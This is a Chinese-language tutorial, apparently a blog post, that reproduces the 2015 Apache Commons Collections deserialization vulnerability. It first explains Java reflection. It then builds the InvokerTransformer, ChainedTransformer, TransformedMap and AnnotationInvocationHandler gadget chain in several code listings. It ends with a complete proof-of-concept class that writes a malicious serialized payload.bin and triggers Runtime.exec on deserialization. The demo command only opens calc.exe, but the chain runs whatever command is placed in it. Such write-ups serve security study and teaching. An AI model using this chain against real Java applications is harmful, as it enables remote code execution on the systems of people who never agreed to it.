项目地址:Collections – Download Apache Commons Collections
本地复现环境:
Apache Commons Collections 是一个扩展了Java标准库里集合类Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发
Commons Collections 实现了一个TransformedMap类,该类是对Java标准数据结构Map接口的一个扩展。该类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由Transformer类定义,Transformer在TransformedMap实例化时作为参数传入
Commons Collections:
首先我们来了解一下Java代码为什么能够跑起来:
1、首先我们程序员写出源码
2、编译器(javac)将源码编译为字节码.class文件
3、各平台JVM解释器把字节码文件转换成操作系统指令
反射机制是java的一个非常重要的机制,一些著名的应用框架都使用了此机制,如struts、spring、hibernate、android app界面等等
java.lang.Class它是java语法的一个基础类,用于描述一个class对象。在文件系统中,class以文件的形式存在。在运行的JVM中,*.class文件被加载到内存中成为一个对象,该对象的类型就是java.lang.Class
在运行状态中,对于任意一个类,都能够获取到这个类的所有属性和方法,对于任意一个对象,都能够调用它的任意一个方法和属性(包括私有的方法和属性),这种动态获取信息以及动态调用对象的方法的功能就称为java语言的反射机制。也就是说,虽然我们获取不到该类的源代码,但是通过该类的.class文件能反射(Reflect)出这些信息
通俗点讲,通过反射,该类对我们来说是完全透明的,想要获取任何东西都可以。
想要使用反射机制,就必须要先获取到该类的字节码文件对象 .class,java.lang.Class类表示 .class 字节码文件对象。通过字节码文件对象,就能够通过该类中的方法获取到我们想要的所有信息(方法、属性、类名、父类名、实现的所有接口等等),每一个类对应着一个字节码文件也就对应着一个Class类型的对象,也就是字节码文件对象。
获取字节码文件对象的三种方式,有了字节码文件对象才能获得类中所有的信息,我们在使用反射获取信息时,也要考虑使用下面哪种方式获取字节码对象合理,视不同情况而定
//方法一
Class clazz1 = Class.forName("my.Student");//通过Class类中的静态方法forName,直接获取到一个类的字节码文件对象,此时该类还是源文件阶段,并没有变为字节码文件。包名为 my,类名为 Student
//方法二
Class clazz2 = Student.class; //当类被加载成.class文件时,此时Student.java类变成了Student.class,该类处于字节码阶段
//方法三
Student s=new Student(); //实例化Student对象
Class clazz3 = s.getClass(); //通过该类的实例获取该类的字节码文件对象,该类处于创建对象阶段
当我们得到一个.class字节码文件对象,我们可以得到以下信息:
使用 java.lang.reflect.*下的类来实现
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.text.DateFormat.Field;
public class main
public static void main(String[] args) throws Exception{
Object obj=new Student(); //Student实例
Class cls=obj.getClass(); //得到Student字节码对象
//通过函数名和函数参数,得到函数
String methodName="setId"; //函数名字
Class[] par={int.class,String.class}; //函数参数
Method m=cls.getMethod(methodName, par); //返回函数
//调用method
Object[] paramters={123,"haha"}; //传递参数
m.invoke(obj,paramters); //执行函数
cls.getPackage(); //获取包信息
String str=cls.getSimpleName(); //Student ,获得该类的名字,不包含包名
String str2=cls.getName(); //my.Student,获得该类的名字,包含包名
Object obj2=cls.newInstance(); //创建一个实例,要求有一个不带参数的构造函数
int modified=cls.getModifiers(); //获取cls对象的类修饰符
Class[] interfaces=cls.getInterfaces(); //获取实现的接口集合
Constructor[] con=cls.getConstructors(); //获取构造函数的集合
Method[] methods=cls.getMethods(); //获取函数列表
cls.getDeclaredAnnotations(); //获取私有函数(protected和private修饰的)
java.lang.reflect.Field[] fields=cls.getFields(); //获取成员变量列表
cls.getDeclaredField(str2); //获取私有变量(protected和private修饰的)
}
}
Apache Commons Collections中已经实现了一些常见的 Transformer
,其中的 InvokerTransformer
接口实现了反射链,可以通过Java的反射机制来执行任意命令。于是我们可以通过InvokerTransformer的反射链获得Runtime类来执行系统命令
test1函数可以看成是普通执行函数的方式,test2函数可以看成是通过反射机制执行函数
import java.io.*;
public class Reflect {
public static void main(String[] args) throws IOException {
test2();
}
public static void test1() throws IOException {
Runtime.getRuntime().exec("calc");
}
public static void test2(){
try {
//初始化Runtime类
Class clazz = Class.forName("java.lang.Runtime");
// 调用Runtime类中的getRuntime方法得到Runtime类的对象
Object rt = clazz.getMethod("getRuntime").invoke(clazz);
//再次使用invoke调用Runtime类中的方法时,传递我们获得的对象,这样就可以调用
clazz.getMethod("exec",String.class).invoke(rt,"calc");
}catch (Exception e){
e.printStackTrace();
}
}
}
运行代码,可以看到,执行了 calc.exe 的命令
Commons Collectionss漏洞是2015年黑客Gabriel Lawrence和Chris Frohoff发
现的,影响WebLogic、WebSphere、JBoss、Jenkins、OpenNMS等大型框架
Commons Collections 漏洞中几个关键的类:
在上面的 InvokerTransformer反射链我已经介绍了如何通过修改Value值来触发执行反射链来执行任意命令
但是目前的构造还需要依赖于修改Map
中的Value值去触发调用反射链,我们需要想办法通过readObject()
直接触发
如果某个可序列化的类重写了readObject()方法,并且在readObject()中对Map类型的变量进行了键值修改操作,并且这个Map参数是可控的,就可以实现我们的攻击目标了
于是,我们找到了这个类:AnnotationInvocationHandler ,这个类有一个成员变量 memberValues
是Map
类型,并且在重写的 readObject() 方法中有 memberValue.setValue() 修改Value的操作。简直是完美!
于是我们可以实例化一个AnnotationInvocationHandler类,将其成员变量memberValues赋值为精心构造的恶意TransformedMap对象。然后将其序列化,提交给未做安全检查的Java应用。Java应用在进行反序列化操作时,执行了readObject()函数,修改了Map的Value,则会触发TransformedMap的变换函数transform(),再通过反射链调用了Runtime.getRuntime.exec(“calc”) 命令,最终就可以执行我们的任意代码了,一切是那么的天衣无缝
调用链路:
1、InvokeTransformer //反射执行代码
2、ChainedTransformer //链式调用,自动触发
3、ConstantTransformer //获得对象
4、TransformedMap //元素变化执行transform,setValue——checkSetValue
5、AnnotationInvocationHandler //readObject 调用Map的setValue
Payload调用流程:
1、对利用类AnnotationInvocationHandler进行序列化,然后交给Java程序
反序列化
2、在进行反序列化时,会执行readObject()方法,该方法会用setValue对成
员变量TransformedMap的Value值进行修改
3、value修改触发了TransformedMap实例化时传入的参数InvokerTransformer的checkSetValue——transform()方法
4、放到Map里面的是InvokeTransformer数组,transform()方法被依次调用
5、InvokerTransformer.transform()方法通过反射,调用Runtime.getRuntime.exec(“xx”)函数来执行系统命令
我们新建一个TranTest1类:
import org.apache.commons.collections.functors.InvokerTransformer;
/**
* InvokerTransformer反射触发
*/
public class TransTest1 {
public static void main(String[] args) {
// 创建实例 传入构造方法参数 (函数名 参数类型 参数值)
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new String[]{"Calc.exe"}
);
try {
// 通过反射机制依次获得Runtime类 getRuntime构造方法 最后生成Runtime实例
// Object input = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));
Object input = Runtime.getRuntime();
// 执行transform函数
invokerTransformer.transform(input);
}catch (Exception e){
e.printStackTrace();
}
}
}
代码运行后的效果如下:
我们新建一个TranTest2类:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
/**
* ChainedTransformer遍历触发
*
* 等同于 ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("calc.exe");
*
*/
public class TransTest2 {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
// 获得Runtime类对象
new ConstantTransformer(Runtime.class),
// 传入Runtime类对象 反射执行getMethod获得getRuntime方法
new InvokerTransformer(
"getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}
),
// 传入getRuntime方法 反射执行invoke方法 得到Runtime实例
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, null }
),
// 传入Runtime实例 执行exec方法
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"Calc.exe"})
};
// ChainedTransformer
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(null);
}
}
代码运行后效果如下:
现在我们来构造一个完整的攻击链
现在我们新建一个Poc类:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
/**
* 封装为TransformedMap
*/
public class Poc {
public static void main(String[] args) {
try {
Transformer[] transformers = new Transformer[]{
// 获得Runtime类对象
new ConstantTransformer(Runtime.class),
// 传入Runtime类对象 反射执行getMethod获得getRuntime方法
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}
),
// 传入getRuntime方法对象 反射执行invoke方法 得到Runtime实例
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}
),
// 传入Runtime实例 执行exec方法
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innermap = new HashMap();
innermap.put("value", "value");
Map outermap = TransformedMap.decorate(innermap, null, chainedTransformer);
// 构造包含恶意map的AnnotationInvocationHandler对象
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cst = cl.getDeclaredConstructor(Class.class, Map.class);
cst.setAccessible(true);
Object exploitObj = cst.newInstance(Target.class, outermap);
// 序列化
FileOutputStream fos = new FileOutputStream("payload.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(exploitObj);
oos.close();
// 反序列化
FileInputStream fis = new FileInputStream("payload.bin");
ObjectInputStream ois = new ObjectInputStream(fis);
Object result = ois.readObject();
ois.close();
System.out.println(result);
} catch (Exception e) {
e.printStackTrace();
}
}
}
代码运行后的效果: